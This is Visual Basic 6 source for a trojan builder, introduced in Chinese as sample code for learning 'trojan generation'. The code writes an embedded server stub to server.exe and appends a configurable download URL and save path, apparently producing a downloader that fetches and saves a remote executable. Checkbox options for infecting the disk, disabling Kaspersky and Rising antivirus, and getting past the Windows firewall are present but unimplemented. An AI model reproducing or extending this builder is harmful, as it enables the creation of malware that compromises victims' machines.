form1.frm

我知道很多人和我一样初学很辛苦所以我收集了这个木马生成技术的样本源码供大家学习

VERSION 5.00
Begin VB.Form Form1 
   BorderStyle     =   1  'Fixed Single
   Caption         =   "客户端 风筝:553675414"
   ClientHeight    =   3360
   ClientLeft      =   5130
   ClientTop       =   5370
   ClientWidth     =   4485
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   MinButton       =   0   'False
   Picture         =   "Form1.frx":0000
   ScaleHeight     =   2735.414
   ScaleMode       =   0  'User
   ScaleWidth      =   4191.287
   Begin VB.CheckBox Check3 
      Caption         =   "穿windows防火墙"
      Height          =   255
      Left            =   120
      TabIndex        =   6
      Top             =   2040
      Width           =   1815
   End
   Begin VB.CheckBox Check2 
      Caption         =   "关闭卡巴瑞星"
      Height          =   255
      Left            =   120
      TabIndex        =   5
      Top             =   1680
      Width           =   1815
   End
   Begin VB.CheckBox Check1 
      Caption         =   "感染硬盘"
      Height          =   255
      Left            =   120
      TabIndex        =   4
      Top             =   1320
      Width           =   1815
   End
   Begin VB.CommandButton Command2 
      BackColor       =   &H00C0C0FF&
      Caption         =   "退出"
      Height          =   375
      Left            =   3240
      Style           =   1  'Graphical
      TabIndex        =   3
      Top             =   3000
      Width           =   1215
   End
   Begin VB.CommandButton Command1 
      BackColor       =   &H00C0C0FF&
      Caption         =   "生成服务端"
      Height          =   375
      Left            =   2040
      Style           =   1  'Graphical
      TabIndex        =   2
      Top             =   3000
      Width           =   1095
   End
   Begin VB.TextBox Text2 
      BackColor       =   &H00C0C0FF&
      BorderStyle     =   0  'None
      Height          =   255
      Left            =   120
      TabIndex        =   1
      Text            =   "d:\1.exe"
      Top             =   960
      Width           =   2415
   End
   Begin VB.TextBox Text1 
      BackColor       =   &H00C0C0FF&
      BorderStyle     =   0  'None
      Height          =   375
      Left            =   120
      TabIndex        =   0
      Text            =   "http://127.0.0.1/1.exe"
      Top             =   480
      Width           =   4095
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Private Const WS_EX_LAYERED = &H80000
Private Const GWL_EXSTYLE = (-20)
Private Const LWA_ALPHA = &H2
Private Const LWA_COLORKEY = &H1
Const FILE_SIZE = 20480
Dim Snow(1000, 2), Amounty As Integer '这是101号资源中的服务端文件1.exe的大小确定了服务端的大小才能把信息写到尾部

Private Sub Check1_Click()
MsgBox "请等待正式版", , "提示"
End Sub

Private Sub Check2_Click()
MsgBox "请等待正式版", , "提示"
End Sub

Private Sub Check3_Click()
MsgBox "请等待正式版", , "提示"
End Sub

Private Sub Command1_Click()
    Dim bInfo As Byte
    Dim bFile() As Byte
    Dim iInfoLen As Integer
    Dim i As Integer, lFile As Long
    str2 = Trim(Text1.Text) '这个是下载的地址
    str3 = Trim(Text2.Text) '这个是保存的路径
    str1 = str2 & "#" & str3 '加个#号是为了方便服务端将地址和路径分离出来
     iInfoLen = Len(str1)
    If Text1.Text = "" And Text2.Text = "" Then
        MsgBox "请输入正确的下载地址和保存路径！", , "提示!"
        Exit Sub
    End If
    On Error GoTo myErr:
    bFile = LoadResData(101, "CUSTOM")          '读出101号资源
    Open App.Path & "\server.exe" For Binary Access Write As #1 '以二进制的方式打开资源文件即101
        For lFile = 0 To FILE_SIZE - 1
            Put #1, , bFile(lFile)
        Next lFile
        For i = 1 To iInfoLen     '读出配置信息并追加就 是写到文件的尾部
            bInfo = Asc(Mid(str1, i, 1))
            Put #1, , bInfo '将信息写入服务端中
        Next i
    Close #1
    Exit Sub
    MsgBox "生成在当前目录", , "提示"
myErr:
    Reset   '如果有文件未关闭,则关闭之
    MsgBox Err.Description & " 程序运行出错了."
    End Sub
Private Sub Command2_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command2.BackColor = &H8080FF
Command1.BackColor = &H8000000D
 For i = 0 To 70
         Me.Height = Me.Height - 60
     Next i
  For i = 0 To 70
         Me.Width = Me.Width - 60
     Next i
End  '退出程序
End Sub
Private Sub Command1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
Command1.BackColor = &H8080FF
Command2.BackColor = &H8000000D
End Sub
Private Sub Text1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
Text1.BackColor = &HFF&
Text2.BackColor = &HC0C0FF
End Sub
Private Sub Text2_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
Text2.BackColor = &HFF&
Text1.BackColor = &HC0C0FF
End Sub


Private Sub Form_Load()
  Dim rtn As Long
    rtn = GetWindowLong(hwnd, GWL_EXSTYLE)
    rtn = rtn Or WS_EX_LAYERED
    SetWindowLong hwnd, GWL_EXSTYLE, rtn
    SetLayeredWindowAttributes hwnd, 0, 200, LWA_ALPHA
Form1.Show
DoEvents
Randomize: Amounty = 325
For J = 1 To Amounty
Snow(J, 0) = Int(Rnd * Form1.Width)
Snow(J, 1) = Int(Rnd * Form1.Height)
Snow(J, 2) = 10 + (Rnd * 20)
Next J

Do While Not (DoEvents = 0)
For LS = 1 To 10
For i = 1 To Amounty
OldX = Snow(i, 0): OldY = Snow(i, 1): Snow(i, 1) = Snow(i, 1) + Snow(i, 2)
If Snow(i, 1) > Form1.Height Then Snow(i, 1) = 0: Snow(i, 2) = 5 + (Rnd * 30): Snow(i, 0) = Int(Rnd * Form1.Width): OldX = 0: OldY = 0
Coloury = 8 * (Snow(i, 2) - 10): Coloury = 60 + Coloury: PSet (OldX, OldY), QBColor(0): PSet (Snow(i, 0), Snow(i, 1)), RGB(Coloury, Coloury, Coloury)
Next i
Next LS
Loop
End Sub